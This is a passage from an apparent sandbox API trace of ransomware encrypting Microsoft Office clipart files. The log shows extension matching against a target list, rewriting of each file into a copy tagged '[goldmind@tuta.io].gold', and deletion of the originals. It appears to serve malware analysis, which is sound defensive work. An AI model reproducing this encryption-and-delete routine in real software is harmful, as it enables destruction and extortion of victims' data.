(lpString=".pdf") returned 4 [0052.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.238] lstrlenW (lpString=".xls") returned 4 [0052.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.238] lstrlenW (lpString=".xlsx") returned 5 [0052.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.238] lstrlenW (lpString=".ppt") returned 4 [0052.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0052.238] lstrlenW (lpString=".zip") returned 4 [0052.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.238] lstrlenW (lpString=".rar") returned 4 [0052.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.238] lstrlenW (lpString=".bz2") returned 4 [0052.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.238] lstrlenW (lpString=".7z") returned 3 [0052.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0052.238] lstrlenW (lpString=".dbf") returned 4 [0052.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0052.238] lstrlenW (lpString=".1cd") returned 4 [0052.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0052.238] lstrlenW (lpString=".jpg") returned 4 [0052.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0052.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0052.238] lstrlenW (lpString=".doc") returned 4 [0052.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.239] lstrlenW (lpString=".docx") returned 5 [0052.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.239] lstrlenW (lpString=".pdf") returned 4 [0052.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.239] lstrlenW (lpString=".xls") returned 4 [0052.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.239] lstrlenW (lpString=".xlsx") returned 5 [0052.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.239] lstrlenW (lpString=".ppt") returned 4 [0052.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0052.239] lstrlenW (lpString=".zip") returned 4 [0052.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.239] lstrlenW (lpString=".rar") returned 4 [0052.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.239] lstrlenW (lpString=".bz2") returned 4 [0052.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.239] lstrlenW (lpString=".7z") returned 3 [0052.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0052.239] lstrlenW (lpString=".dbf") returned 4 [0052.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0052.239] lstrlenW (lpString=".1cd") returned 4 [0052.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0052.239] lstrlenW (lpString=".jpg") returned 4 [0052.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.239] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0052.239] lstrlenW (lpString="BL00045_.WMF") returned 12 [0052.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.870] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=7862) returned 1 [0052.870] CloseHandle (hObject=0x178) returned 1 [0052.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x20 [0052.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.892] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.898] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.898] GetLastError () returned 0x0 [0052.898] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x1eb6, lpOverlapped=0x0) returned 1 [0052.900] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1ec0, lpOverlapped=0x0) returned 1 [0052.902] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0052.902] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.902] SetEndOfFile (hFile=0x184) returned 1 [0052.902] CloseHandle (hObject=0x184) returned 1 [0052.902] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.902] SetEndOfFile (hFile=0x178) returned 1 [0052.903] CloseHandle (hObject=0x178) returned 1 [0052.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0052.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0052.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0052.903] lstrlenW (lpString=".doc") returned 4 [0052.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.903] lstrlenW (lpString=".docx") returned 5 [0052.904] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.904] lstrlenW (lpString=".pdf") returned 4 [0052.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.904] lstrlenW (lpString=".xls") returned 4 [0052.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.904] lstrlenW (lpString=".xlsx") returned 5 [0052.904] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.904] lstrlenW (lpString=".ppt") returned 4 [0052.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0052.904] lstrlenW (lpString=".zip") returned 4 [0052.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.904] lstrlenW (lpString=".rar") returned 4 [0052.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.904] lstrlenW (lpString=".bz2") returned 4 [0052.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.904] lstrlenW (lpString=".7z") returned 3 [0052.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0052.904] lstrlenW (lpString=".dbf") returned 4 [0052.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0052.904] lstrlenW (lpString=".1cd") returned 4 [0052.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0052.904] lstrlenW (lpString=".jpg") returned 4 [0052.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0052.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0052.904] lstrlenW (lpString=".doc") returned 4 [0052.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.904] lstrlenW (lpString=".docx") returned 5 [0052.904] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.904] lstrlenW (lpString=".pdf") returned 4 [0052.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.904] lstrlenW (lpString=".xls") returned 4 [0052.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.904] lstrlenW (lpString=".xlsx") returned 5 [0052.904] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.904] lstrlenW (lpString=".ppt") returned 4 [0052.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0052.904] lstrlenW (lpString=".zip") returned 4 [0052.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.905] lstrlenW (lpString=".rar") returned 4 [0052.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.905] lstrlenW (lpString=".bz2") returned 4 [0052.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.905] lstrlenW (lpString=".7z") returned 3 [0052.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0052.905] lstrlenW (lpString=".dbf") returned 4 [0052.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0052.905] lstrlenW (lpString=".1cd") returned 4 [0052.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0052.905] lstrlenW (lpString=".jpg") returned 4 [0052.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.905] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0052.905] lstrlenW (lpString="BL00195_.WMF") returned 12 [0052.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.906] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=8070) returned 1 [0052.906] CloseHandle (hObject=0x178) returned 1 [0052.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20 [0052.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.906] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.906] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.907] GetLastError () returned 0x0 [0052.907] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x1f86, lpOverlapped=0x0) returned 1 [0052.908] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0052.909] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0052.909] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.909] SetEndOfFile (hFile=0x184) returned 1 [0052.909] CloseHandle (hObject=0x184) returned 1 [0052.909] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.909] SetEndOfFile (hFile=0x178) returned 1 [0052.910] CloseHandle (hObject=0x178) returned 1 [0052.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0052.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0052.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0052.910] lstrlenW (lpString=".doc") returned 4 [0052.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.910] lstrlenW (lpString=".docx") returned 5 [0052.911] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.911] lstrlenW (lpString=".pdf") returned 4 [0052.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.911] lstrlenW (lpString=".xls") returned 4 [0052.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.911] lstrlenW (lpString=".xlsx") returned 5 [0052.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.911] lstrlenW (lpString=".ppt") returned 4 [0052.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0052.911] lstrlenW (lpString=".zip") returned 4 [0052.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.911] lstrlenW (lpString=".rar") returned 4 [0052.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.911] lstrlenW (lpString=".bz2") returned 4 [0052.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.911] lstrlenW (lpString=".7z") returned 3 [0052.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0052.911] lstrlenW (lpString=".dbf") returned 4 [0052.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0052.911] lstrlenW (lpString=".1cd") returned 4 [0052.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0052.911] lstrlenW (lpString=".jpg") returned 4 [0052.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0052.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0052.911] lstrlenW (lpString=".doc") returned 4 [0052.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.911] lstrlenW (lpString=".docx") returned 5 [0052.911] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.911] lstrlenW (lpString=".pdf") returned 4 [0052.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.911] lstrlenW (lpString=".xls") returned 4 [0052.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.911] lstrlenW (lpString=".xlsx") returned 5 [0052.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.911] lstrlenW (lpString=".ppt") returned 4 [0052.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0052.911] lstrlenW (lpString=".zip") returned 4 [0052.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.912] lstrlenW (lpString=".rar") returned 4 [0052.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.912] lstrlenW (lpString=".bz2") returned 4 [0052.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.912] lstrlenW (lpString=".7z") returned 3 [0052.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0052.912] lstrlenW (lpString=".dbf") returned 4 [0052.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0052.912] lstrlenW (lpString=".1cd") returned 4 [0052.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0052.912] lstrlenW (lpString=".jpg") returned 4 [0052.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.912] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0052.912] lstrlenW (lpString="BL00234_.WMF") returned 12 [0052.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.912] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=9304) returned 1 [0052.912] CloseHandle (hObject=0x178) returned 1 [0052.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20 [0052.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0052.913] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.913] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.913] GetLastError () returned 0x0 [0052.913] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x2458, lpOverlapped=0x0) returned 1 [0052.914] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x2460, lpOverlapped=0x0) returned 1 [0052.915] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0052.915] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.915] SetEndOfFile (hFile=0x184) returned 1 [0052.915] CloseHandle (hObject=0x184) returned 1 [0052.915] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0052.915] SetEndOfFile (hFile=0x178) returned 1 [0052.916] CloseHandle (hObject=0x178) returned 1 [0052.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0052.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0052.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0052.916] lstrlenW (lpString=".doc") returned 4 [0052.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.916] lstrlenW (lpString=".docx") returned 5 [0052.917] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.917] lstrlenW (lpString=".pdf") returned 4 [0052.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.917] lstrlenW (lpString=".xls") returned 4 [0052.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.917] lstrlenW (lpString=".xlsx") returned 5 [0052.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.917] lstrlenW (lpString=".ppt") returned 4 [0052.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0052.917] lstrlenW (lpString=".zip") returned 4 [0052.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.917] lstrlenW (lpString=".rar") returned 4 [0052.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.917] lstrlenW (lpString=".bz2") 